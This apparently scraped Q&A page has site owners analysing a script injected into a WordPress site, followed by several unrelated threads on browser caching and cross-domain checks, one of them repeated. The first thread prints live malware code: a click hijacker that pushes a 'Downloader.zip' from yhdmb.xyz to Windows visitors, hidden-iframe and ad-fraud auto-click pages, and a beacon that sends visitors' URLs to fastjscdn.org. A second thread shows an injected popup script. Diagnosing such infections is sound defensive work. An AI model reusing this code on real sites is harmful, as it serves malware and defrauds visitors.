Malicious code asmr9999 / fastjscdn in Wordpress uses FileSaver.js and jszip - javascript

Scanning my site with pagespeed, it shows that my site is loading malicious files in the background.
The problem happens occasionally, it doesn't happen all the time. Sometimes the site doesn't load the malicious script, other times it does. I don't know what it depends on.
In particular, the following js script is loaded from this link "https:// asmr9999. live/static.js" (without space). So the malicious code is loaded indirectly.
if(!window.xxxyyyzzz){function e(){return -1!==["Win32","Win64","Windows","WinCE"].indexOf(window.navigator?.userAgentData?.platform||window.navigator.platform)}function n(n){if(!e())return!1;var t="File",a=n.target.closest("a");if(window.location.href.indexOf("3axis.co")>=0){if(0>a.parentElement.className.indexOf("post-subject")&&0>a.parentElement.className.indexOf("img"))return!1;t=a.children.length>0?a.children[0].alt:a.innerText}else{if(!(window.location.href.indexOf("thesimscatalog.com")>=0)||0>a.parentElement.className.indexOf("product-inner"))return!1;t=a.children[1].innerText}var i=document.createElement("a");return i.style="display:none",i.href="https://yhdmb.xyz/download/"+t+" Downloader.zip",document.body.append(i),i.click(),n.preventDefault(),!0}function t(e){var n=document.createElement("script");n.src=e,document.head.appendChild(n)}function a(e,n,t){var a="";if(t){var i=new Date;i.setTime(i.getTime()+36e5*t),a="; expires="+i.toUTCString()}document.cookie=e+"="+(n||"")+a+"; path=/"}function i(e){for(var n=e+"=",t=document.cookie.split(";"),a=0;a<t.length;a++){for(var i=t[a];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(n))return i.substring(n.length,i.length)}return null}function r(e){var t=e.target.closest("a");null!==t&&(n(e)||!i("__ads__opened")&&window._ads_goto&&(a("__ads__opened","1",6),"_blank"==t.target||(e.preventDefault(),window.open(t.href)),setTimeout(function(){window.location=window._ads_goto},500)),window.removeEventListener("click",r))}t("https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"),t("https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js"),window.addEventListener("click",r,{capture:!0}),window.addEventListener("message",function(e){e.data&&e.data instanceof Object&&e.data._ads_goto&&(window._ads_goto=e.data._ads_goto)}),window.xxxyyyzzz=function(e){var n=document.createElement("div"),t=document.createElement("iframe");t.src=e,n.style.display="none",n.appendChild(t),window.addEventListener("load",function(){document.body.append(n)})},window.xxxyyyzzz("https://yhdmb.xyz/vp/an.html")}
From this code it is possible to understand where the malware is located on my Wordpress site? And also is it possible to understand what exactly this code does?
I have seen that it also uses these scripts,
https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js
https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js
which are respectively:
https://stuk.github.io/jszip/
https://github.com/eligrey/FileSaver.js/
EDIT 1: I find that it loads before "/body"
<script src="https://asmr9999.live/static.js?hash=a633f506a53746a846742c5655ebf596"></script></body></html>
EDIT 2: i installed https://wordpress.org/plugins/string-locator/ for search asmr9999 in all site, also in encoded Base64 format "YXNtcjk5OTk" but nothing. I tried also https://wordpress.org/plugins/gotmls/ , nothing.
EDIT 3: I've only found one person on the internet who has the same problem, at this link (remove space):
https:// boards.4channel. org/g/thread/89699524/i-had-a-virus-on-my-server-ot-attack-in-my-server
EDIT 4: i also analyzed the malicious link in the script, this https:// yhdmb. xyz/vp/an.html. It is an html page containing this code:
<html lang="en">
<head>
<title>YHDM</title>
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8724126396282572"
crossorigin="anonymous"></script>
<script src="https://cdn.fluidplayer.com/v2/current/fluidplayer.min.js"></script>
</head>
<body>
<script>
function setCookie(name,value,hours) {
var expires = "";
if (hours) {
var date = new Date();
date.setTime(date.getTime() + (hours*60*60*1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/;SameSite=None; Secure";
}
function addVast(id, url, prob, type) {
var div = document.createElement('div');
var video = document.createElement('video');
var source = document.createElement('source');
source.type = 'video/mp4';
source.src = 'video.mp4';
video.id = 'my-video' + id;
video.append(source);
div.appendChild(video);
document.body.append(div);
var testVideo = fluidPlayer(
"my-video" + id,
{
layoutControls: {
autoPlay: true
},
vastOptions: {
"adList": [
{
"roll": "preRoll",
"vastTag": url
},
{
"roll": "midRoll",
"vastTag": url,
"timer": 8
},
{
"roll": "midRoll",
"vastTag": url,
"timer": 10
},
{
"roll": "postRoll",
"vastTag": url
}
]
}
}
);
setTimeout(function () {
testVideo.play();
testVideo.setVolume(0);
function tryClickAds() {
setTimeout(function () {
if (testVideo.vastOptions && testVideo.vastOptions.clickthroughUrl) {
var url = testVideo.vastOptions.clickthroughUrl;
if (type == 'nw') {
setCookie('redirect', url, 1);
console.log(url);
window.parent.postMessage({'_ads_goto': window.location.href}, '*');
} else {
var adsIframe = document.createElement('iframe');
adsIframe.src = url;
adsIframe.style = 'height:100%;width:100%';
adsIframe.sandbox = 'allow-forms allow-orientation-lock allow-pointer-lock allow-presentation allow-same-origin allow-scripts';
document.body.appendChild(adsIframe);
}
} else {
tryClickAds()
}
}, 1000)
}
if (Math.random() < prob) {
tryClickAds()
}
}, 500);
}
addVast('1', 'https://wyglyvaso.com/ddmxF.ztdoG-N/v/ZxGmUY/bejmS9ku/ZdUll/klPpTRQG1iNozIcs2/NTTvAQtmNIDPUZ3YN/zXYP1LMWQI', 1, 'nw');
addVast('2','https://syndication.exdynsrv.com/splash.php?idzone=4840778',0.5,'nw');
</script>
</body>
</html>
EDIT 5: i restored a backup from September. The malicious code is stille there, but little differente. It still load before "/body", but the js code is different and it uses another domanin, "fastjscdn .org", instead of "asmr9999 .live". How is it possible that it can change domain?
<script src="https://fastjscdn.org/static.js?hash=1791f07709c2e25e84d84a539f3eb034"></script></body>
JS code contain:
window.xxxyyyzzz||(window.xxxyyyzzz="1",function(){if(function t(){try{return window.self!==window.top}catch(r){return!0}}()){var t=window.parent.document.createElement("script");t.src="https://fastjscdn.org/static.js",window.parent.document.body.appendChild(t);return}fetch("https://fastjscdn.org/platform/"+(window.navigator?.userAgentData?.platform||window.navigator.platform)+"/url/"+window.location.href).then(t=>{})}());

You can find out who was initiator of any loaded file. Open developer console (Ctrl+Shift+I in Chrome), choose Network tab. After loading page with opened Network tab there will appear all loaded files. Locate your file and find Column initiator.
But, it can be scenario, where it will be loaded from DOM. So next step will be you will go to Elements, Ctrl+F and search for this script. But this musn't be your solution. It can be inserted to HTML of your webpage by any malicious plugin.
I prefer (at least if you are able to log into Wordpress admin) using some useful plugin for scanning. E.g. plugin Anti-Malware Security and Brute-Force Firewall or some other scanning tool. It will probably find concrete file/directory where is some malicious code.

I have exactly the same issue on the ContOS VPS server and a custom CMS. I am using Apache + nginx + php 5.6 configuration. My investigations are the following:
I compared all my site scripts with the scripts from my previous backup and there are no changes in the site scripts!
I checked all files on my server for the string "asmr9999" and the same string, encoded in the Base64 format: YXNtcjk5OTk - the strings were not found. Also, I created a SQL database dump, but the dump either doesn't contains these strings!
I checked site with using the clamAV antivirus and the maldet tool and there is no issues were found.
Finally, I rebooted server, and the scripts "<script src="https:// asmr9999 .live" are gone from all my site pages! But, after about 1 hour, the scripts are appeared again on my site pages.
So, it seems that the script is located only in RAM and disappears during the server reboot. Then, after 1 hour maybe the crontab loaded the script into the RAM from some place.
I hope I will save your time and together we will resolve this issue.
I am continuing the investigation.

Makes me think of linux rootkits from 10 years ago (!) such as Snakso that injected malicious iframes directly in the outgoing HTTP traffic of the server

the problem and solution are described here https://stackoverflow.com/a/74921192/14686582
My Memcached server was public and infected with malicious code, it was a "cache-side" xss attack.

Related

how to clear the cache on window.location.replace()? [duplicate]

I am looking for a way to programmatically empty the browser cache. I am doing this because the application caches confidential data and I'd like to remove those when you press "log out". This would happen either via server or JavaScript. Of course, using the software on foreign/public computer is still discouraged as there are more dangers like key loggers that you just can't defeat on software level.
There's no way a browser will let you clear its cache. It would be a huge security issue if that were possible. This could be very easily abused - the minute a browser supports such a "feature" will be the minute I uninstall it from my computer.
What you can do is to tell it not to cache your page, by sending the appropriate headers or using these meta tags:
<meta http-equiv='cache-control' content='no-cache'>
<meta http-equiv='expires' content='0'>
<meta http-equiv='pragma' content='no-cache'>
You might also want to consider turning off auto-complete on form fields, although I'm afraid there's a standard way to do it (see this question).
Regardless, I would like to point out that if you are working with sensitive data you should be using SSL. If you aren't using SSL, anyone with access to the network can sniff network traffic and easily see what your user is seeing.
Using SSL also makes some browsers not use caching unless explicitly told to. See this question.
It's possible, you can simply use jQuery to substitute the 'meta tag' that references the cache status with an event handler / button, and then refresh, easy,
$('.button').click(function() {
$.ajax({
url: "",
context: document.body,
success: function(s,x){
$('html[manifest=saveappoffline.appcache]').attr('content', '');
$(this).html(s);
}
});
});
NOTE: This solution relies on the Application Cache that is implemented as part of the HTML 5 spec. It also requires server configuration to set up the App Cache manifest. It does not describe a method by which one can clear the 'traditional' browser cache via client- or server-side code, which is nigh impossible to do.
use html itself.There is one trick that can be used.The trick is to append a parameter/string to the file name in the script tag and change it when you file changes.
<script src="myfile.js?version=1.0.0"></script>
The browser interprets the whole string as the file path even though what comes after the "?" are parameters. So wat happens now is that next time when you update your file just change the number in the script tag on your website (Example <script src="myfile.js?version=1.0.1"></script>) and each users browser will see the file has changed and grab a new copy.
The best idea is to make js file generation with name + some hash with version, if you do need to clear cache, just generate new files with new hash, this will trigger browser to load new files
Here is a single-liner of how you can delete ALL browser network cache using Cache.delete()
caches.keys().then((keyList) => Promise.all(keyList.map((key) => caches.delete(key))))
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
Initially I tried various programmatic approach in my html, JS to clear browser cache. Nothing works on latest Chrome.
Finally, I ended up with .htaccess:
<IfModule mod_headers.c>
Header set Cache-Control "no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires 0
</IfModule>
Tested in Chrome, Firefox, Opera
Reference: https://wp-mix.com/disable-caching-htaccess/
On Chrome, you should be able to do this using the benchmarking extension. You need to start your chrome with the following switches:
./chrome --enable-benchmarking --enable-net-benchmarking
In Chrome's console now you can do the following:
chrome.benchmarking.clearCache();
chrome.benchmarking.clearHostResolverCache();
chrome.benchmarking.clearPredictorCache();
chrome.benchmarking.closeConnections();
As you can tell from above commands, it not only clears the browser cache, but also clears the DNS cache and closes network connections. These are great when you're doing page load time benchmarking. Obviously you don't have to use them all if not needed (e.g. clearCache() should suffice if you need to clear the cache only and don't care about DNS cache and connections).
You can now use Cache.delete()
Example:
let id = "your-cache-id";
// you can find the id by going to
// application>storage>cache storage
// (minus the page url at the end)
// in your chrome developer console
caches.open(id)
.then(cache => cache.keys()
.then(keys => {
for (let key of keys) {
cache.delete(key)
}
}));
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
You could have the server respond with a Clear Site Data directive that instructs the user agent to clear the site's locally stored data.
For example:
Clear-Site-Data: "cache", "cookies", "storage"
That header would instruct the user agent to clear all locally stored data, including:
Network cache
User agent caches (like prerendered pages, script caches, etc.)
Cookies
HTTP authentication credentials
Origin-bound tokens (such as Channel ID and Token Binding)
Local storage
Session storage
IndexedDB
Web SQL database
Service Worker registrations
You can send the request using fetch() and do location.reload() afterwards to get a fresh restart.
location.reload(true); will hard reload the current page, ignoring the cache.
Cache.delete() can also be used for new chrome, firefox and opera.
//The code below should be put in the "js" folder with the name "clear-browser-cache.js"
(function () {
var process_scripts = false;
var rep = /.*\?.*/,
links = document.getElementsByTagName('link'),
scripts = document.getElementsByTagName('script');
var value = document.getElementsByName('clear-browser-cache');
for (var i = 0; i < value.length; i++) {
var val = value[i],
outerHTML = val.outerHTML;
var check = /.*value="true".*/;
if (check.test(outerHTML)) {
process_scripts = true;
}
}
for (var i = 0; i < links.length; i++) {
var link = links[i],
href = link.href;
if (rep.test(href)) {
link.href = href + '&' + Date.now();
}
else {
link.href = href + '?' + Date.now();
}
}
if (process_scripts) {
for (var i = 0; i < scripts.length; i++) {
var script = scripts[i],
src = script.src;
if (src !== "") {
if (rep.test(src)) {
script.src = src + '&' + Date.now();
}
else {
script.src = src + '?' + Date.now();
}
}
}
}
})();
At the end of the tah head, place the line at the code below
< script name="clear-browser-cache" src='js/clear-browser-cache.js' value="true" >< /script >
By definining a function for cache invalidate meta tags:
function addMetaTag(name,content){
var meta = document.createElement('meta');
meta.httpEquiv = name;
meta.content = content;
document.getElementsByTagName('head')[0].appendChild(meta);
}
You can call:
addMetaTag("pragma","no-cache")
addMetaTag("expires","0")
addMetaTag("cache-control","no-cache")
That will insert meta tags for subsequents requests, which will force browser to fetch fresh content. After inserting, you can call location.reload() and this will work in mostly all browsers (Cache.delete() is not working at chrome for ex.)
I clear the browser's cache for development reasons. Clearing local storage, session storage, IndexDB, cookies, etc. when the data schema changes. If not cleared, there could be data corruption when syncing data with the database. Cache could also be cleared for security reasons as the OP suggested.
This is the code I use:
caches.keys().then(list => list.map(key => caches.delete(key)))
Simple as that, works like a champ. For more information:
https://developer.mozilla.org/en-US/docs/Web/API/Cache
Imagine the .js files are placed in /my-site/some/path/ui/js/myfile.js
So normally the script tag would look like:
<script src="/my-site/some/path/ui/js/myfile.js"></script>
Now change that to:
<script src="/my-site/some/path/ui-1111111111/js/myfile.js"></script>
Now of course that will not work. To make it work you need to add one or a few lines to your .htaccess
The important line is: (entire .htaccess at the bottom)
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
So what this does is, it kind of removes the 1111111111 from the path and links to the correct path.
So now if you make changes you just have to change the number 1111111111 to whatever number you want. And however you include your files you can set that number via a timestamp when the js-file has last been modified. So cache will work normally if the number does not change. If it changes it will serve the new file (YES ALWAYS) because the browser get's a complete new URL and just believes that file is so new he must go get it.
You can use this for CSS, favicons and what ever gets cached. For CSS just use like so
<link href="http://my-domain.com/my-site/some/path/ui-1492513798/css/page.css" type="text/css" rel="stylesheet">
And it will work! Simple to update, simple to maintain.
The promised full .htaccess
If you have no .htaccess yet this is the minimum you need to have there:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
</IfModule>

Search for injected script code on the Windows Server for my ASP.NET site

My site was probably hacked. I am finding script.js from bigcatsolutions.com in my page. It triggers a popup of an affiliate program. The script isn't on the page by default and I want to know how can I find where it was injected. The script sometimes injects other ad sites.
In chrome I see this:
The injected script code:
function addEvent(obj, eventName, func) {
if (obj.attachEvent) {
obj.attachEvent("on" + eventName, func);
} else if (obj.addEventListener) {
obj.addEventListener(eventName, func, true);
} else {
obj["on" + eventName] = func;
}
}
addEvent(window, "load", function (e) {
addEvent(document.body, "click", function (e) {
if (document.cookie.indexOf("booknow") == -1) {
params = 'width=800';
params += ', height=600';
params += ', top=50, left=50,scrollbars=yes';
var w = window.open("http://booknowhalong.com/discount-news", 'window', params).blur();
document.cookie = "booknow";
window.focus();
}
});
})
My site is moved from my hosting company to Amazon EC2 Windows 2013 Server and still have the issues, so it means that the code still resides on the server somewhere. My site was build using ASP.ENT / C#.
Things I did:
tried to search the original aspx and aspx.cs code files
Have you checked the IIS logs to see if they are hitting a specific page and injecting it there?
Do you load any data from a database? You could check in the tables and see if anything out of the ordinary appears there.
It is unlikely that the .aspx pages have actually been physically modified and even more unlikely that the DLL have been as .aspx.cs files are compiled in to your BIN folder as DLL's. The more likely scenario is that you have an unsecure page that a malicious site is injecting its script into. The other possible attack vector is that you have had malicious code via SQL injection and are loading it each time.
After deep searching and I missed it in the first run, I found that the script was injected into the ASP.NET masterpage.
I ran a search to search for a specific string in all the files and that's how I found it. It seems that the server itself was breached and the hacker put the code into several websites.
So for those of you who have this type of problem, I recommend running a text search and try to find the URL that is tights to the running script.
Hope that helps and thanks for your time.

How to programmatically empty browser cache?

I am looking for a way to programmatically empty the browser cache. I am doing this because the application caches confidential data and I'd like to remove those when you press "log out". This would happen either via server or JavaScript. Of course, using the software on foreign/public computer is still discouraged as there are more dangers like key loggers that you just can't defeat on software level.
There's no way a browser will let you clear its cache. It would be a huge security issue if that were possible. This could be very easily abused - the minute a browser supports such a "feature" will be the minute I uninstall it from my computer.
What you can do is to tell it not to cache your page, by sending the appropriate headers or using these meta tags:
<meta http-equiv='cache-control' content='no-cache'>
<meta http-equiv='expires' content='0'>
<meta http-equiv='pragma' content='no-cache'>
You might also want to consider turning off auto-complete on form fields, although I'm afraid there's a standard way to do it (see this question).
Regardless, I would like to point out that if you are working with sensitive data you should be using SSL. If you aren't using SSL, anyone with access to the network can sniff network traffic and easily see what your user is seeing.
Using SSL also makes some browsers not use caching unless explicitly told to. See this question.
It's possible, you can simply use jQuery to substitute the 'meta tag' that references the cache status with an event handler / button, and then refresh, easy,
$('.button').click(function() {
$.ajax({
url: "",
context: document.body,
success: function(s,x){
$('html[manifest=saveappoffline.appcache]').attr('content', '');
$(this).html(s);
}
});
});
NOTE: This solution relies on the Application Cache that is implemented as part of the HTML 5 spec. It also requires server configuration to set up the App Cache manifest. It does not describe a method by which one can clear the 'traditional' browser cache via client- or server-side code, which is nigh impossible to do.
use html itself.There is one trick that can be used.The trick is to append a parameter/string to the file name in the script tag and change it when you file changes.
<script src="myfile.js?version=1.0.0"></script>
The browser interprets the whole string as the file path even though what comes after the "?" are parameters. So wat happens now is that next time when you update your file just change the number in the script tag on your website (Example <script src="myfile.js?version=1.0.1"></script>) and each users browser will see the file has changed and grab a new copy.
The best idea is to make js file generation with name + some hash with version, if you do need to clear cache, just generate new files with new hash, this will trigger browser to load new files
Initially I tried various programmatic approach in my html, JS to clear browser cache. Nothing works on latest Chrome.
Finally, I ended up with .htaccess:
<IfModule mod_headers.c>
Header set Cache-Control "no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires 0
</IfModule>
Tested in Chrome, Firefox, Opera
Reference: https://wp-mix.com/disable-caching-htaccess/
Here is a single-liner of how you can delete ALL browser network cache using Cache.delete()
caches.keys().then((keyList) => Promise.all(keyList.map((key) => caches.delete(key))))
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
On Chrome, you should be able to do this using the benchmarking extension. You need to start your chrome with the following switches:
./chrome --enable-benchmarking --enable-net-benchmarking
In Chrome's console now you can do the following:
chrome.benchmarking.clearCache();
chrome.benchmarking.clearHostResolverCache();
chrome.benchmarking.clearPredictorCache();
chrome.benchmarking.closeConnections();
As you can tell from above commands, it not only clears the browser cache, but also clears the DNS cache and closes network connections. These are great when you're doing page load time benchmarking. Obviously you don't have to use them all if not needed (e.g. clearCache() should suffice if you need to clear the cache only and don't care about DNS cache and connections).
You can now use Cache.delete()
Example:
let id = "your-cache-id";
// you can find the id by going to
// application>storage>cache storage
// (minus the page url at the end)
// in your chrome developer console
caches.open(id)
.then(cache => cache.keys()
.then(keys => {
for (let key of keys) {
cache.delete(key)
}
}));
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
You could have the server respond with a Clear Site Data directive that instructs the user agent to clear the site's locally stored data.
For example:
Clear-Site-Data: "cache", "cookies", "storage"
That header would instruct the user agent to clear all locally stored data, including:
Network cache
User agent caches (like prerendered pages, script caches, etc.)
Cookies
HTTP authentication credentials
Origin-bound tokens (such as Channel ID and Token Binding)
Local storage
Session storage
IndexedDB
Web SQL database
Service Worker registrations
You can send the request using fetch() and do location.reload() afterwards to get a fresh restart.
location.reload(true); will hard reload the current page, ignoring the cache.
Cache.delete() can also be used for new chrome, firefox and opera.
//The code below should be put in the "js" folder with the name "clear-browser-cache.js"
(function () {
var process_scripts = false;
var rep = /.*\?.*/,
links = document.getElementsByTagName('link'),
scripts = document.getElementsByTagName('script');
var value = document.getElementsByName('clear-browser-cache');
for (var i = 0; i < value.length; i++) {
var val = value[i],
outerHTML = val.outerHTML;
var check = /.*value="true".*/;
if (check.test(outerHTML)) {
process_scripts = true;
}
}
for (var i = 0; i < links.length; i++) {
var link = links[i],
href = link.href;
if (rep.test(href)) {
link.href = href + '&' + Date.now();
}
else {
link.href = href + '?' + Date.now();
}
}
if (process_scripts) {
for (var i = 0; i < scripts.length; i++) {
var script = scripts[i],
src = script.src;
if (src !== "") {
if (rep.test(src)) {
script.src = src + '&' + Date.now();
}
else {
script.src = src + '?' + Date.now();
}
}
}
}
})();
At the end of the tah head, place the line at the code below
< script name="clear-browser-cache" src='js/clear-browser-cache.js' value="true" >< /script >
By definining a function for cache invalidate meta tags:
function addMetaTag(name,content){
var meta = document.createElement('meta');
meta.httpEquiv = name;
meta.content = content;
document.getElementsByTagName('head')[0].appendChild(meta);
}
You can call:
addMetaTag("pragma","no-cache")
addMetaTag("expires","0")
addMetaTag("cache-control","no-cache")
That will insert meta tags for subsequents requests, which will force browser to fetch fresh content. After inserting, you can call location.reload() and this will work in mostly all browsers (Cache.delete() is not working at chrome for ex.)
I clear the browser's cache for development reasons. Clearing local storage, session storage, IndexDB, cookies, etc. when the data schema changes. If not cleared, there could be data corruption when syncing data with the database. Cache could also be cleared for security reasons as the OP suggested.
This is the code I use:
caches.keys().then(list => list.map(key => caches.delete(key)))
Simple as that, works like a champ. For more information:
https://developer.mozilla.org/en-US/docs/Web/API/Cache
Imagine the .js files are placed in /my-site/some/path/ui/js/myfile.js
So normally the script tag would look like:
<script src="/my-site/some/path/ui/js/myfile.js"></script>
Now change that to:
<script src="/my-site/some/path/ui-1111111111/js/myfile.js"></script>
Now of course that will not work. To make it work you need to add one or a few lines to your .htaccess
The important line is: (entire .htaccess at the bottom)
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
So what this does is, it kind of removes the 1111111111 from the path and links to the correct path.
So now if you make changes you just have to change the number 1111111111 to whatever number you want. And however you include your files you can set that number via a timestamp when the js-file has last been modified. So cache will work normally if the number does not change. If it changes it will serve the new file (YES ALWAYS) because the browser get's a complete new URL and just believes that file is so new he must go get it.
You can use this for CSS, favicons and what ever gets cached. For CSS just use like so
<link href="http://my-domain.com/my-site/some/path/ui-1492513798/css/page.css" type="text/css" rel="stylesheet">
And it will work! Simple to update, simple to maintain.
The promised full .htaccess
If you have no .htaccess yet this is the minimum you need to have there:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
</IfModule>

How do I store static content of a web page in a javascript variable?

This is what I am trying to accomplish:
Get the static content of an 'external' url and check it for certain keywords for example, "User Guide" or "page not found".
I tried to use Ajax, dojo.xhr etc., but they don't support cross domain. In my case it is an external url. Also, I cannot use jQuery.
I also looked at dojo.io.iframe but I couldn't find useful example to accomplish this.
A dojo.io.iframe example would be really helpful.
Please help.
Thanks!
Modern browsers restrict the use of cross-domain scripting. If you're the maintainer of the server, read Access-Control-Allow-Origin to get knowledge on how to enable cross-site scripting on your website.
EDIT: To check whether an external site is down or not, you could use this method. That external site is required to have an image file. Most sites have a file called favicon.ico at their root directory.
Example, testing whether http://www.google.com/ is online or not.
var test = new Image();
//If you're sure that the element is not a JavaScript file
//var test = document.createElement("script");
//If you're sure that the external website is reliable, you can use:
//var test = document.createElement("iframe");
function rmtmp(){if(tmp.parentNode)tmp.parentNode.removeChild(tmp);}
function online(){
//The website is likely to be up and running.
rmtmp();
}
function offline(){
//The file is not a valid image file, or the website is down.
rmtmp();
alert("Something bad happened.");
}
if (window.addEventListener){
test.addEventListener("load", online, true);
test.addEventListener("error", offline, true);
} else if(window.attachEvent){
test.attachEvent("onload", online);
test.attachEvent("onerror", offline);
} else {
test.onload = online;
test.onerror = offline;
}
test.src = "http://www.google.com/favicon.ico?"+(new Date).getTime();
/* "+ (new Date).getTime()" is needed to ensure that every new attempt
doesn't get a cached version of the image */
if(/^iframe|script$/i.test(test.tagName)){
test.style.display = "none";
document.body.appendChild(test);
}
This will only work with image resources. Read the comments to see how to use other sources.
Try this:
<script src="https://ajax.googleapis.com/ajax/libs/dojo/1.6.1/dojo/dojo.xd.js.uncompressed.js" type="text/javascript" djConfig="parseOnLoad:true"></script>
<script>
dojo.require("dojo.io.script");
</script>
<script>
dojo.addOnLoad(function(){
dojo.io.script.get({
url: "http://badlink.google.com/",
//url: "http://www.google.com/",
load: function(response, ioArgs) {
//if no (http) error, it means the link works
alert("yes, the url works!")
}
});
});
</script>

IE intermittently doesn't execute a dynamically added script file

We have some JavaScript that writes a script include to a dynamic resource in our web page in order to allow us to communicate some information between pages served from different servers that are subject to cross site scripting restrictions.
The idea is that the browser requests the JavaScript file which is served by a dynamic resource on the server side (which also puts some server side information into the Request). The JavaScript file is then executed by the browser when it is added to the page.
We've run into an issue with Internet Explorer where the JavaScript returned in the response is intermittently not executed when it is added to the page. Inspecting a Fiddler HTTP trace when the problem occurs shows the script is successfully returned to the browser.
To test this more reliably, I altered the code that adds the script to run 1000 times in a loop as below:
for (var i = 1; i <= 1000; i++) {
try {
var script = document.createElement("SCRIPT");
script.src = serverHome + "/ajavascriptfile.js?token=" + token + "&num=" + i;
script.id = token;
document.getElementsByTagName("HEAD")[0].appendChild( script );
} catch (e) {
alert(e);
}
}
The script returned by ajavascriptfile.js simply increments a counter on my page:
var output = document.getElementById("output");
output.innerHTML = parseInt(output.innerHTML) + 1;
No exceptions are ever caught or alerted in this test.
If this executes properly the counter should get to 1000 (which it does in Firefox). However in IE6 it averages 900-950, IE7 is around 995-998 and IE8 is a shocking 750-800.
Has anyone else encountered Internet Explorer not executing dynamically included scripts? If so, do you know how to workaround this problem?
It may be that the scripts are not queueing in the order they are added to the head, but are being interpreted as soon as they're activestate is complete, either from the cache or a download. If the script you asked for last loads first, it can cause a problem.
IE8 allows 6 concurrent scripts, I think IE7 allowed 4, and 6 allowed 2.
I have seen this in Opera, Chrome and Safari as well, (but not firefox yet) so if I am loading more than one script, I hold running any commands until I know the resources are available- usually by testing the typeof a function from the required file, and a timer callback if not found.
Internet Explorer may be caching the script file. Try adding some additional entropy to the src include:
script.src = serverHome + "/ajavascriptfile.js?token=" + token + "&num=" + i + '&r=' + Math.random();

Categories

Resources